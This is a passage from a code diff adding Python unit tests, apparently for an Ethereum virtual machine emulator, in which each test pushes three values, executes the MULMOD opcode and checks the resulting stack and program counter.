+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285278175L])
+
+    def test_MULMOD_389(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_390(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MULMOD_391(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285288975L])
+
+    def test_MULMOD_392(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_393(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MULMOD_394(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1536L])
+
+    def test_MULMOD_395(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2304L])
+
+    def test_MULMOD_396(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [292300327466180583640736966543256603931186507776L])
+
+    def test_MULMOD_397(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593278592404255597335755568049273997498948353520504591L])
+
+    def test_MULMOD_398(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_399(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_MULMOD_400(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593279962562040595057241384003804669014279280957259791L])
+
+    def test_MULMOD_401(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_402(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [97433442488726861213578988847752201310395502592L])
+
+    def test_MULMOD_403(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [194866884977453722427157977695504402620791005184L])
+
+    def test_MULMOD_404(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [292300327466180583640736966543256603931186507776L])
+
+    def test_MULMOD_405(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32164469232587832062103051183444185983291025151487202691157576561628995038L])
+
+    def test_MULMOD_406(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MULMOD_407(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_408(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MULMOD_409(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_410(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MULMOD_411(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_412(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_413(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_414(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_415(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_416(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_417(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_418(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
